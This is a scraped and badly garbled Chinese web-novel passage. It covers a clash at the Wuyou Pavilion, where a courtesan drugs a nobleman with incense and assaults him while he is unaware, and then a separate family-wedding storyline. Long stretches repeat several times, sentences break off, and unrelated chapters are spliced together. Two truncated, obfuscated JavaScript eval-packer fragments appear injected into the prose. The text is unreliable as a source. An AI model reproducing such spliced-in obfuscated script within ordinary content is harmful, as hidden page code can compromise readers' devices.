岚舒的琴技极好,他演奏的是一首比较舒缓柔和的曲子,卫凌泽听了一会儿,心头的烦躁竟减轻不少。 一曲作罢,岚舒再度开口:“今日除夕,卫大公子不在家中守岁,独自来此不怕家里人不高兴吗?” “我在家里待着他们只会觉得我碍眼。” 卫凌泽脱口而出。 刚说完他就皱紧眉头,他是来找萧夜辰宣泄怒火的,并不是来找岚舒聊天的。 “萧夜辰什么时候能来?” 卫凌泽冷声催促,脸色跟着沉下去,岚舒走过去,半跪在地上又倒了一杯酒:“我已派人去请阁主了,他应该很快就会到,公子放心,无忧阁开门做买卖,绝不敢做毒害恩客之事。” 岚舒说完,仰头喝了手里的酒。 他的容貌算不上多出众,但仰头喝酒的时候,下颚线清晰可见,喉结也跟着上下滚动,竟莫名让人觉得这一幕很好看。 所以当岚舒换了个杯子倒满递过来时,卫凌泽没再拒绝。 无忧阁待客向来都是用的好东西,岚舒这酒也是上好的陈年梨花白,煮沸之后,酒香越发淳厚,一口下肚,四肢八骸都跟着暖和起来。 卫凌泽只感觉这段时日积压在胸口的郁气都被那暖意冲散了,他让岚舒又给自己倒了一杯,打开话匣子:“我告诉你,禾儿是我的,萧夜辰根本配不上她,一会儿萧夜辰来了,我要让他跪在地上给我舔鞋!” 岚舒顺着他的话附和:“无忧阁的宗旨就是让恩 客开心,只要卫大公子的钱给到位,让阁主做这些事也不是不可能。” 这话极大地取悦了卫凌泽,他朗声笑了起来。 是啊,在无忧阁只要有钱,什么事都能办到。 他要狠狠地折辱萧夜辰,让萧夜辰知道自己是什么身份,以后再也不敢觊觎禾儿! 萧夜辰是在半个时辰后赶到无忧阁的。 岚舒虽然八面玲珑,处事周全,萧夜辰也担心他应付不了卫凌泽。 一路上他设想了很多可能的场景,推开门那一刻,却还是受到了巨大的冲击。 屋里炭火烧得很旺,一开门,热气立刻扑面而来,而且热气之中还有股子奇异的香味,让人一闻浑身的毛孔都舒展开来。 卫凌泽像是喝醉了,整个人瘫坐在椅子上,嘴里不停唤着萧清禾的名字,而岚舒整个人跪在他面前,手里还拿着卫凌泽的腰带。 这两个人是疯了吗? 萧夜辰皱紧眉头,快步上前把岚舒拎到屋外。 萧夜辰身上寒气很重,手也是冷的,岚舒冷得一个激灵,看清萧夜辰的脸,懒洋洋道:“阁主,你来啦,我还以为你不在乎我的死活呢。” 萧夜辰直接施展轻功把岚舒带到后院,兜头泼了他一瓢冷水。 寒意刺骨,岚舒的眼神顿时恢复清明。 萧夜辰冷冷地瞪着他:“清醒了吗?” 岚舒抹了把脸,点头:“醒了。” “你对卫凌泽做了什么?” 萧夜辰质问,话里难掩怒火。 岚舒看看手里的腰带,又看看萧夜辰,摸着鼻尖底气不足地说:“卫大公子火气太旺,我怕阁主今晚抽不开身来救我,就给他用了一点儿香,刚刚我约莫是帮他快乐了一把。” 萧夜辰已经猜到发生了什么,但听到岚舒亲口承认还是忍不住冒火:“你疯了是不是?” 虽然萧夜辰恨不得杀了卫凌泽,但他也没想过要用这种法子折辱卫凌泽,待会儿卫凌泽醒来,恐怕不仅要把岚舒**万段,还会动用卫家的所有势力踏平无忧阁。 冷水浸透衣衫,冷意直往骨缝里钻。 岚舒这些年浸在无忧阁,连无忧香都对他不怎么起作用,他也是没想到这销魂香稍微加大剂量竟然如此霸道,才会不小心着了道。 眼下事情已经发生,懊恼也无用,他抬眼看着萧夜辰:“阁主是打算杀了我给卫大公子赔罪,还是打算保我一命,杀了卫大公子,毁尸灭迹?” 这两条路萧夜辰都不想选。 他恶狠狠地瞪着岚舒:“祸是你闯的,你自己想办法,若是解决不了,我不会阻止卫凌泽杀你。” 岚舒撩起袖子擦干脸上的水珠,感叹道:“共事多年,我就知道阁主舍不得杀我。” 半个时辰后,卫凌泽醒转过来,萧夜辰冷着脸站在他面前,岚舒像是什么都没有发生过,递给他一杯温水:“公子醒啦,可有觉得哪里不适?” 屋里炭火已撤,窗户大开,冷意让卫凌泽整个人都清醒过来。 然而他脑子混沌,记忆在岚舒递给他那杯酒后戛然而止,之后发生了什么竟是一点儿都不记得。 “大胆,你对我做了什么?” 卫凌泽打翻岚舒手里的水,厉声质问,岚舒面不改色,恭敬道:“阁主迟迟未到,小人怕公子杀了我泄愤,就悄悄给公子用了安神香,让公子睡了一觉,现在阁主来了,小人就不打扰公子和阁主谈事了。” 岚舒说完便要退下,卫凌泽并未理他,眉眼一沉,拼尽全身力气挥拳袭向萧夜辰。 客开心,只要卫大公子的钱给到位,让阁主做这些事也不是不可能。” 这话极大地取悦了卫凌泽,他朗声笑了起来。 是啊,在无忧阁只要有钱,什么事都能办到。 他要狠狠地折辱萧夜辰,让萧夜辰知道自己是什么身份,以后再也不敢觊觎禾儿! 萧夜辰是在半个时辰后赶到无忧阁的。 岚舒虽然八面玲珑,处事周全,萧夜辰也担心他应付不了卫凌泽。 一路上他设想了很多可能的场景,推开门那一刻,却还是受到了巨大的冲击。 屋里炭火烧得很旺,一开门,热气立刻扑面而来,而且热气之中还有股子奇异的香味,让人一闻浑身的毛孔都舒展开来。 卫凌泽像是喝醉了,整个人瘫坐在椅子上,嘴里不停唤着萧清禾的名字,而岚舒整个人跪在他面前,手里还拿着卫凌泽的腰带。 这两个人是疯了吗? 萧夜辰皱紧眉头,快步上前把岚舒拎到屋外。 萧夜辰身上寒气很重,手也是冷的,岚舒冷得一个激灵,看清萧夜辰的脸,懒洋洋道:“阁主,你来啦,我还以为你不在乎我的死活呢。” 萧夜辰直接施展轻功把岚舒带到后院,兜头泼了他一瓢冷水。 寒意刺骨,岚舒的眼神顿时恢复清明。 萧夜辰冷冷地瞪着他:“清醒了吗?” 岚舒抹了把脸,点头:“醒了。” “你对卫凌泽做了什么?” 萧夜辰质问,话里难掩怒火。 岚舒看看手里的腰带,又看看萧夜辰,摸着鼻尖底气不足地说:“卫大公子火气太旺,我怕阁主今晚抽不开身来救我,就给他用了一点儿香,刚刚我约莫是帮他快乐了一把。” 萧夜辰已经猜到发生了什么,但听到岚舒亲口承认还是忍不住冒火:“你疯了是不是?” 虽然萧夜辰恨不得杀了卫凌泽,但他也没想过要用这种法子折辱卫凌泽,待会儿卫凌泽醒来,恐怕不仅要把岚舒**万段,还会动用卫家的所有势力踏平无忧阁。 冷水浸透衣衫,冷意直往骨缝里钻。 岚舒这些年浸在无忧阁,连无忧香都对他不怎么起作用,他也是没想到这销魂香稍微加大剂量竟然如此霸道,才会不小心着了道。 眼下事情已经发生,懊恼也无用,他抬眼看着萧夜辰:“阁主是打算杀了我给卫大公子赔罪,还是打算保我一命,杀了卫大公子,毁尸灭迹?” 这两条路萧夜辰都不想选。 他恶狠狠地瞪着岚舒:“祸是你闯的,你自己想办法,若是解决不了,我不会阻止卫凌泽杀你。” 岚舒撩起袖子擦干脸上的水珠,感叹道:“共事多年,我就知道阁主舍不得杀我。” 半个时辰后,卫凌泽醒转过来,萧夜辰冷着脸站在他面前,岚舒像是什么都没有发生过,递给他一杯温水:“公子醒啦,可有觉得哪里不适?” 屋里炭火已撤,窗户大开,冷意让卫凌泽整个人都清醒过来。 然而他脑子混沌,记忆在岚舒递给他那杯酒后戛然而止,之后发生了什么竟是一点儿都不记得。 “大胆,你对我做了什么?” 卫凌泽打翻岚舒手里的水,厉声质问,岚舒面不改色,恭敬道:“阁主迟迟未到,小人怕公子杀了我泄愤,就悄悄给公子用了安神香,让公子睡了一觉,现在阁主来了,小人就不打扰公子和阁主谈事了。” 岚舒说完便要退下,卫凌泽并未理他,眉眼一沉,拼尽全身力气挥拳袭向萧夜辰。 客开心,只要卫大公子的钱给到位,让阁主做这些事也不是不可能。” 这话极大地取悦了卫凌泽,他朗声笑了起来。 是啊,在无忧阁只要有钱,什么事都能办到。 他要狠狠地折辱萧夜辰,让萧夜辰知道自己是什么身份,以后再也不敢觊觎禾儿! 萧夜辰是在半个时辰后赶到无忧阁的。 岚舒虽然八面玲珑,处事周全,萧夜辰也担心他应付不了卫凌泽。 一路上他设想了很多可能的场景,推开门那一刻,却还是受到了巨大的冲击。 屋里炭火烧得很旺,一开门,热气立刻扑面而来,而且热气之中还有股子奇异的香味,让人一闻浑身的毛孔都舒展开来。 卫凌泽像是喝醉了,整个人瘫坐在椅子上,嘴里不停唤着萧清禾的名字,而岚舒整个人跪在他面前,手里还拿着卫凌泽的腰带。 这两个人是疯了吗? 萧夜辰皱紧眉头,快步上前把岚舒拎到屋外。 萧夜辰身上寒气很重,手也是冷的,岚舒冷得一个激灵,看清萧夜辰的脸,懒洋洋道:“阁主,你来啦,我还以为你不在乎我的死活呢。” 萧夜辰直接施展轻功把岚舒带到后院,兜头泼了他一瓢冷水。 寒意刺骨,岚舒的眼神顿时恢复清明。 萧夜辰冷冷地瞪着他:“清醒了吗?” 岚舒抹了把脸,点头:“醒了。” “你对卫凌泽做了什么?” 萧夜辰质问,话里难掩怒火。 岚舒看看手里的腰带,又看看萧夜辰,摸着鼻尖底气不足地说:“卫大公子火气太旺,我怕阁主今晚抽不开身来救我,就给他用了一点儿香,刚刚我约莫是帮他快乐了一把。” 萧夜辰已经猜到发生了什么,但听到岚舒亲口承认还是忍不住冒火:“你疯了是不是?” 虽然萧夜辰恨不得杀了卫凌泽,但他也没想过要用这种法子折辱卫凌泽,待会儿卫凌泽醒来,恐怕不仅要把岚舒**万段,还会动用卫家的所有势力踏平无忧阁。 冷水浸透衣衫,冷意直往骨缝里钻。 岚舒这些年浸在无忧阁,连无忧香都对他不怎么起作用,他也是没想到这销魂香稍微加大剂量竟然如此霸道,才会不小心着了道。 眼下事情已经发生,懊恼也无用,他抬眼看着萧夜辰:“阁主是打算杀了我给卫大公子赔罪,还是打算保我一命,杀了卫大公子,毁尸灭迹?” 这两条路萧夜辰都不想选。 他恶狠狠地瞪着岚舒:“祸是你闯的,你自己想办法,若是解决不了,我不会阻止卫凌泽杀你。” 岚舒撩起袖子擦干脸上的水珠,感叹道:“共事多年,我就知道阁主舍不得杀我。” 半个时辰后,卫凌泽醒转过来,萧夜辰冷着脸站在他面前,岚舒像是什么都没有发生过,递给他一杯温水:“公子醒啦,可有觉得哪里不适?” 屋里炭火已撤,窗户大开,冷意让卫凌泽整个人都清醒过来。 然而他脑子混沌,记忆在岚舒递给他那杯酒后戛然而止,之后发生了什么竟是一点儿都不记得。 “大胆,你对我做了什么?” 卫凌泽打翻岚舒手里的水,厉声质问,岚舒面不改色,恭敬道:“阁主迟迟未到,小人怕公子杀了我泄愤,就悄悄给公子用了安神香,让公子睡了一觉,现在阁主来了,小人就不打扰公子和阁主谈事了。” 岚舒说完便要退下,卫凌泽并未理他,眉眼一沉,拼尽全身力气挥拳袭向萧夜辰。 客开心,只要卫大公子的钱给到位,让阁主做这些事也不是不可能。” 这话极大地取悦了卫凌泽,他朗声笑了起来。 是啊,在无忧阁只要有钱,什么事都能办到。 他要狠狠地折辱萧夜辰,让萧夜辰知道自己是什么身份,以后再也不敢觊觎禾儿! 萧夜辰是在半个时辰后赶到无忧阁的。 岚舒虽然八面玲珑,处事周全,萧夜辰也担心他应付不了卫凌泽。 一路上他设想了很多可能的场景,推开门那一刻,却还是受到了巨大的冲击。 屋里炭火烧得很旺,一开门,热气立刻扑面而来,而且热气之中还有股子奇异的香味,让人一闻浑身的毛孔都舒展开来。 卫凌泽像是喝醉了,整个人瘫坐在椅子上,嘴里不停唤着萧清禾的名字,而岚舒整个人跪在他面前,手里还拿着卫凌泽的腰带。 这两个人是疯了吗? 萧夜辰皱紧眉头,快步上前把岚舒拎到屋外。 萧夜辰身上寒气很重,手也是冷的,岚舒冷得一个激灵,看清萧夜辰的脸,懒洋洋道:“阁主,你来啦,我还以为你不在乎我的死活呢。” 萧夜辰直接施展轻功把岚舒带到后院,兜头泼了他一瓢冷水。 寒意刺骨,岚舒的眼神顿时恢复清明。 萧夜辰冷冷地瞪着他:“清醒了吗?” 岚舒抹了把脸,点头:“醒了。” “你对卫凌泽做了什么?” 萧夜辰质问,话里难掩怒火。 岚舒看看手里的腰带,又看看萧夜辰,摸着鼻尖底气不足地说:“卫大公子火气太旺,我怕阁主今晚抽不开身来救我,就给他用了一点儿香,刚刚我约莫是帮他快乐了一把。” 萧夜辰已经猜到发生了什么,但听到岚舒亲口承认还是忍不住冒火:“你疯了是不是?” 虽然萧夜辰恨不得杀了卫凌泽,但他也没想过要用这种法子折辱卫凌泽,待会儿卫凌泽醒来,恐怕不仅要把岚舒**万段,还会动用卫家的所有势力踏平无忧阁。 冷水浸透衣衫,冷意直往骨缝里钻。 岚舒这些年浸在无忧阁,连无忧香都对他不怎么起作用,他也是没想到这销魂香稍微加大剂量竟然如此霸道,才会不小心着了道。 眼下事情已经发生,懊恼也无用,他抬眼看着萧夜辰:“阁主是打算杀了我给卫大公子赔罪,还是打算保我一命,杀了卫大公子,毁尸灭迹?” 这两条路萧夜辰都不想选。 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虽然萧夜辰恨不得杀了卫凌泽,但他也没想过要用这种法子折辱卫凌泽,待会儿卫凌泽醒来,恐怕不仅要把岚舒**万段,还会动用卫家的所有势力踏平无忧阁。 冷水浸透衣衫,冷意直往骨缝里钻。 岚舒这些年浸在无忧阁,连无忧香都对他不怎么起作用,他也是没想到这销魂香稍微加大剂量竟然如此霸道,才会不小心着了道。 眼下事情已经发生,懊恼也无用,他抬眼看着萧夜辰:“阁主是打算杀了我给卫大公子赔罪,还是打算保我一命,杀了卫大公子,毁尸灭迹?” 这两条路萧夜辰都不想选。 他恶狠狠地瞪着岚舒:“祸是你闯的,你自己想办法,若是解决不了,我不会阻止卫凌泽杀你。” 岚舒撩起袖子擦干脸上的水珠,感叹道:“共事多年,我就知道阁主舍不得杀我。” 半个时辰后,卫凌泽醒转过来,萧夜辰冷着脸站在他面前,岚舒像是什么都没有发生过,递给他一杯温水:“公子醒啦,可有觉得哪里不适?” 屋里炭火已撤,窗户大开,冷意让卫凌泽整个人都清醒过来。 然而他脑子混沌,记忆在岚舒递给他那杯酒后戛然而止,之后发生了什么竟是一点儿都不记得。 “大胆,你对我做了什么?” 卫凌泽打翻岚舒手里的水,厉声质问,岚舒面不改色,恭敬道:“阁主迟迟未到,小人怕公子杀了我泄愤,就悄悄给公子用了安神香,让公子睡了一觉,现在阁主来了,小人就不打扰公子和阁主谈事了。” 岚舒说完便要退下,卫凌泽并未理他,眉眼一沉,拼尽全身力气挥拳袭向萧夜辰。 客开心,只要卫大公子的钱给到位,让阁主做这些事也不是不可能。” 这话极大地取悦了卫凌泽,他朗声笑了起来。 是啊,在无忧阁只要有钱,什么事都能办到。 他要狠狠地折辱萧夜辰,让萧夜辰知道自己是什么身份,以后再也不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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卫凌泽像是喝醉了,整个人瘫坐在椅子上,嘴里不停唤着萧清禾的名字,而岚舒整个人跪在他面前,手里还拿着卫凌泽的腰带。 这两个人是疯了吗? 萧夜辰皱紧眉头,快步上前把岚舒拎到屋外。 萧夜辰身上寒气很重,手也是冷的,岚舒冷得一个激灵,看清萧夜辰的脸,懒洋洋道:“阁主,你来啦,我还以为你不在乎我的死活呢。” 萧夜辰直接施展轻功把岚舒带到后院,兜头泼了他一瓢冷水。 寒意刺骨,岚舒的眼神顿时恢复清明。 萧夜辰冷冷地瞪着他:“清醒了吗?” 岚舒抹了把脸,点头:“醒了。” “你对卫凌泽做了什么?” 萧夜辰质问,话里难掩怒火。 岚舒看看手里的腰带,又看看萧夜辰,摸着鼻尖底气不足地说:“卫大公子火气太旺,我怕阁主今晚抽不开身来救我,就给他用了一点儿香,刚刚我约莫是帮他快乐了一把。” 萧夜辰已经猜到发生了什么,但听到岚舒亲口承认还是忍不住冒火:“你疯了是不是?” 虽然萧夜辰恨不得杀了卫凌泽,但他也没想过要用这种法子折辱卫凌泽,待会儿卫凌泽醒来,恐怕不仅要把岚舒**万段,还会动用卫家的所有势力踏平无忧阁。 冷水浸透衣衫,冷意直往骨缝里钻。 岚舒这些年浸在无忧阁,连无忧香都对他不怎么起作用,他也是没想到这销魂香稍微加大剂量竟然如此霸道,才会不小心着了道。 眼下事情已经发生,懊恼也无用,他抬眼看着萧夜辰:“阁主是打算杀了我给卫大公子赔罪,还是打算保我一命,杀了卫大公子,毁尸灭迹?” 这两条路萧夜辰都不想选。 他恶狠狠地瞪着岚舒:“祸是你闯的,你自己想办法,若是解决不了,我不会阻止卫凌泽杀你。” 岚舒撩起袖子擦干脸上的水珠,感叹道:“共事多年,我就知道阁主舍不得杀我。” 半个时辰后,卫凌泽醒转过来,萧夜辰冷着脸站在他面前,岚舒像是什么都没有发生过,递给他一杯温水:“公子醒啦,可有觉得哪里不适?” 屋里炭火已撤,窗户大开,冷意让卫凌泽整个人都清醒过来。 然而他脑子混沌,记忆在岚舒递给他那杯酒后戛然而止,之后发生了什么竟是一点儿都不记得。 “大胆,你对我做了什么?” 卫凌泽打翻岚舒手里的水,厉声质问,岚舒面不改色,恭敬道:“阁主迟迟未到,小人怕公子杀了我泄愤,就悄悄给公子用了安神香,让公子睡了一觉,现在阁主来了,小人就不打扰公子和阁主谈事了。” 岚舒说完便要退下,卫凌泽并未理他,眉眼一沉,拼尽全身力气挥拳袭向萧夜辰。 第281章 他真的会杀了你 酒劲和销魂香的效力还没过,卫凌泽起了身才发现身体有些绵软无力。 萧夜辰不过是微微侧身就躲过了他这一拳,而他则因为收力不及,整个人摔在地上。 萧夜辰没笑,但他就这么双手环胸,居高临下的看着,就足以让卫凌泽颜面尽失。 “哎呀,卫大公子你怎么这么不小心啊。” 岚舒惊呼一声,飞快的上前扶起卫凌泽,而后弯腰帮他拍拍衣摆上并不存在的灰。 “别用你的脏手碰我!” 卫凌泽拍开岚舒,满脸厌恶。 岚舒在心里啧了一声。 这隔着衣服就嫌脏了,要是知道真相,卫大公子该不会要挥刀自宫吧? 卫凌泽并未把岚舒放在眼里,满脑子想的都是要怎么把刚刚摔那一跤的面子找回来。 他盯着萧夜辰看了一会儿问:“你什么价?” 他问得没头没尾,萧夜辰一时没反应过来,岚舒抢先道:“卫大公子,小人都跟你说过了,阁里待客的事都是小人在管,阁主是从不待客的。” “不待客?你之前不是去给瑛王耍过剑吗,我比瑛王多出一倍,今晚也给我耍一套。” 卫凌泽语气高傲,根本没有把岚舒的话听进去,说完又拿出一沓银票扔在萧夜辰脸上。 卫凌泽的力气没恢复,银票扔在脸上也是轻飘飘的。 萧夜辰连眼皮都没有抬一下,只冷冷开口:“无忧阁不接待**的客人,滚出去!” “呵,开门做生意,向来只有客人挑刺的,我倒是第一次听说还有挑客人的,你不就是想要钱吗,要多少,你说……” 卫凌泽嗤笑,眼看越说越难听,萧夜辰直接出手,揪着他的衣领把他拽出去。 “阁主息怒!” 岚舒劝了一嘴,弯腰把地上的银票都捡起来,等他追上去,卫凌泽整个人都被萧夜辰扔在地上。 不等卫凌泽起身,萧夜辰一脚踩在他肩膀:“我这条命不值钱,你若真不想活了,我可以成全你。” 刚刚摔了一跤已经够丢脸了,这会儿被萧夜辰踩在脚下更让卫凌泽觉得无比耻辱。 一个做皮肉生意的东西,凭什么把他踩在脚下? 卫凌泽怒火中烧,他挑衅地看着萧夜辰冷笑:“你做这么多,不就是为了讨禾儿的欢心吗,如今禾儿好不容易与我和离,杀了我你也得死,演了这么久,你舍得**吗?” 虽然萧夜辰周身都是毫不掩饰的杀意,卫凌泽却觉得他只是在虚张声势。 萧夜辰不能理解卫凌泽的脑回路听到卫凌泽说这话他毫不犹豫地抽剑朝卫凌泽的胸口刺去。 “阁主不可!” 岚舒扑上来握住萧夜辰手里的剑但他的力气实在太大岚舒左手小拇指被直接削断。 殷红温热的血顺着剑尖一点一点滴在卫凌泽胸口晕出一朵血红色的花来。 岚舒疼得脸色苍白大声吼道:“都愣着做什么还不快来拦着阁主!” 阁里的人立刻冲过来把萧夜辰拉开岚舒则忍着痛扶起卫凌泽拉着他离开。 直到走出很远卫凌泽都还震惊得回不过神来。 萧夜辰竟然不惜搭上性命也要杀了自己好像一点儿都不在意能不能跟禾儿在一起。 他跟禾儿没名没分就算因为杀自己**禾儿也不可能为他守寡不嫁。 他到底图什么呢? 卫凌泽想不明白岚舒恰在这时开口:“卫大公子我们阁主这人挺疯的他做事就图心里畅快你以后还是少惹他吧不然他真的能杀了你。” 说着话岚舒用汗巾缠住受伤的手勉强止血。 刚刚岚舒也算是救了卫凌泽的命卫凌泽想到他跟萧夜辰的关系还不错思忖片刻带岚舒去了回春堂治伤。 断掉的手指无法接上大夫花了好一会儿功夫才给岚舒把血止上。 等包扎完伤口 午时已过他竟在无忧阁待了这么久? 这些日子他在家里难以入睡下人也会燃安神香助眠但效果并不好岚舒给他用的真的是安神香吗? 卫凌泽生出疑惑这时岚舒惨白着一张脸走出药堂冲他虚弱一笑:“卫大公子新年好啊祝你新的一年平安顺遂万事如意。” 岚舒笑得有些讨好是卫凌泽平日经常从卫家下人身上看到的奴性。 他打消了方才升起的疑虑。 罢了不过是个以色侍人的玩意儿应当是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我确实很得意,怎么了? 初二过后,沈清渊便回去上值了,春喜也着手筹备起清远侯和杳娘的婚礼来。 元宵这日,清远侯把杳娘带回了侯府用饭,沈金花也带着沈清迟回了趟娘家。 杳娘不过三十出头的年纪,虽然这些年算不上养尊处优,却也被清远侯宠得十指不沾阳春水,皮肤仍旧细嫩,虽然只着一身淡青素衣,也能看出年轻时的姣好容颜。 饭间,清远侯毫不掩饰对杳娘的喜爱,不停地给杳娘夹菜,甚至还亲手帮她剥虾。 沈清越和沈清宇看得肚子里直冒火,沈清迟亦是面色难看。 莫氏在世时,清远侯从未流露出如此善解人意的一面,他们都以为父亲天生薄情,不会爱人,如今见到清远侯对杳娘事事体贴,自然为莫氏不忿。 饭吃得差不多了,清远侯问起春喜婚礼的筹备事宜,还提了诸多要求,春喜正要回话,杳娘柔柔开口:“侯爷愿意给杳娘一个名分杳娘已经很开心了,婚礼简单办一下就行,不必太过铺张浪费。” “这怎么能行?”清远侯皱眉,“若不是那个妒妇容不得人,一直横加阻拦,我早该迎你入府,你已经委屈了这么多年,这场婚礼定要办得风风光光才行。” 清远侯话里都是疼惜,对莫氏一点儿夫妻感情都没有。 沈清迟抓紧手里的筷子,指尖用力到泛白。 她娘在世时,父亲虽然未曾纳妾,但大多数时间都陪这个狐狸精住在外面,被别人嘲笑留不住夫君的人是娘,这个狐狸精受什么委屈了? “这婚礼是办给外人看的,但日子是自己过的大少爷已经分府出去住,杳娘不想太麻烦大少夫人,而且府里两位少爷还没考取功名,日后少不了要疏通打点,两位少爷日后前途光明,杳娘腹中的孩子也能得他们一些庇佑,不是吗?” 杳娘这番话说得很是得体大方,却让沈清迟三人觉得刺耳极了。 这人还没过门呢,就端起继娘的架势假惺惺为他们考虑起来了,她如果真的考虑他们的感受,就不该这么着急想嫁进来! 三人并不领情,低着头腹诽,只有春喜接话:“继娘能够推己及人为二弟三弟考虑真是太好了,难怪父亲如此珍爱继娘,继娘放心,我和夫君虽然已经分府出去单过,但您和父亲的婚礼我一定会用心操办的。” 春喜语气轻快,因杳娘的识大体,还透出两分亲切。 沈清迟闻言忍不住抬头瞪着春喜。 这人到太傅府给她塞人还不够,如今还如此急不可耐地操办起这个狐狸精的事,实在是太过分 了! 沈清迟眼底几乎要喷出火来,春喜挑眉,疑惑开口:“妹妹这么瞪着我做什么?你二哥三哥都是赞同父亲续弦的,你难道不同意?” 春喜刚说完,清远侯便冷声斥道:“自甘**的东西,侯府的脸都被你丢完了,你有什么资格管老子的事?” 清远侯一开口,沈金花和吴氏也都数落起她的不是来。 不管怎么说,杳娘如今怀着身孕,能为侯府添丁进口那是好事,沈清迟身为外嫁女,就算有不满也得憋着。 众人你一言我一语地说着,沈清越和沈清宇并未帮沈清迟说话,最终沈清迟只能认错:“女儿不敢对父亲和继娘有什么不满,还请父亲和继娘恕罪。” 沈清迟认了错,杳娘帮着打了圆场,清远侯才没再生气。 吃完饭,春喜准备回家,快到大门口时,沈清迟追上来,红着眼瞪着她:“分府之后,大嫂就不管侯府的事了,如今却如此热心地帮那个狐狸精操办婚礼,大嫂心里应该很得意吧。” “对啊,我很得意,”春喜点头,毫不犹豫地承认,“你娘爬床上位,气死我夫君的娘,还霸占他娘留下来的嫁妆,苛待于他,如今你们遭了报应,也能尝尝被继娘压制的滋味儿,我得意**。” 春喜如此坦然,反倒让沈清迟噎住。 莫氏跟春喜不仅没有血缘关系,还多次刁难春喜,这些年对沈清渊也很不好,春喜要得意看他们笑话都是应该的。 不过很快,沈清迟就找到了新的说辞。 “你不是很喜欢钱吗,那个狐狸精没有娘家撑腰,一点儿嫁妆都没有,你帮忙操办婚礼,除了往里面贴钱什么都得不到。” “谁说我什么都得不到?” 春喜反问,不等沈清迟回答又道,“我身为侯府长媳,帮父亲和继娘操办婚礼,人人都会夸我和你大哥孝顺,这可是花钱都买不到的好名声,而且侯府有了新的主母,往后大小事务都可以由主母处置,我也能落得清闲,何乐而不为呢?” 那你之前为什么不帮帮我呢? 沈清迟很想追问,春喜却抢先一步道:“退一万步讲,就算我真的什么好处都捞不到,我也不会出头帮妹妹和二弟三弟去反对这门婚事,亲娘尸骨未寒,你们却连为自己的亲娘说句话都不敢,能花钱给你们添堵也算是做好事了。” “……” 沈清迟之前已经领略过春喜的翻脸无情,但今天还是被春喜的嘴毒到。 她刚刚还怒气冲冲,想要质问春喜,这会儿却被春喜看得无地自容,只能灰溜溜地离开。 元宵过后,天气渐暖,恒阳公主闲不住,派人给春喜送来帖子邀她踏青。 踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 马车出城没多远,又有新的马车来接。 看着熟悉的流程,春喜忍不住多看了恒阳公主一眼。 驸马知道公主今日又是借踏青之名去无忧阁玩吗? 了! 沈清迟眼底几乎要喷出火来,春喜挑眉,疑惑开口:“妹妹这么瞪着我做什么?你二哥三哥都是赞同父亲续弦的,你难道不同意?” 春喜刚说完,清远侯便冷声斥道:“自甘**的东西,侯府的脸都被你丢完了,你有什么资格管老子的事?” 清远侯一开口,沈金花和吴氏也都数落起她的不是来。 不管怎么说,杳娘如今怀着身孕,能为侯府添丁进口那是好事,沈清迟身为外嫁女,就算有不满也得憋着。 众人你一言我一语地说着,沈清越和沈清宇并未帮沈清迟说话,最终沈清迟只能认错:“女儿不敢对父亲和继娘有什么不满,还请父亲和继娘恕罪。” 沈清迟认了错,杳娘帮着打了圆场,清远侯才没再生气。 吃完饭,春喜准备回家,快到大门口时,沈清迟追上来,红着眼瞪着她:“分府之后,大嫂就不管侯府的事了,如今却如此热心地帮那个狐狸精操办婚礼,大嫂心里应该很得意吧。” “对啊,我很得意,”春喜点头,毫不犹豫地承认,“你娘爬床上位,气死我夫君的娘,还霸占他娘留下来的嫁妆,苛待于他,如今你们遭了报应,也能尝尝被继娘压制的滋味儿,我得意**。” 春喜如此坦然,反倒让沈清迟噎住。 莫氏跟春喜不仅没有血缘关系,还多次刁难春喜,这些年对沈清渊也很不好,春喜要得意看他们笑话都是应该的。 不过很快,沈清迟就找到了新的说辞。 “你不是很喜欢钱吗,那个狐狸精没有娘家撑腰,一点儿嫁妆都没有,你帮忙操办婚礼,除了往里面贴钱什么都得不到。” “谁说我什么都得不到?” 春喜反问,不等沈清迟回答又道,“我身为侯府长媳,帮父亲和继娘操办婚礼,人人都会夸我和你大哥孝顺,这可是花钱都买不到的好名声,而且侯府有了新的主母,往后大小事务都可以由主母处置,我也能落得清闲,何乐而不为呢?” 那你之前为什么不帮帮我呢? 沈清迟很想追问,春喜却抢先一步道:“退一万步讲,就算我真的什么好处都捞不到,我也不会出头帮妹妹和二弟三弟去反对这门婚事,亲娘尸骨未寒,你们却连为自己的亲娘说句话都不敢,能花钱给你们添堵也算是做好事了。” “……” 沈清迟之前已经领略过春喜的翻脸无情,但今天还是被春喜的嘴毒到。 她刚刚还怒气冲冲,想要质问春喜,这会儿却被春喜看得无地自容,只能灰溜溜地离开。 元宵过后,天气渐暖,恒阳公主闲不住,派人给春喜送来帖子邀她踏青。 踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 马车出城没多远,又有新的马车来接。 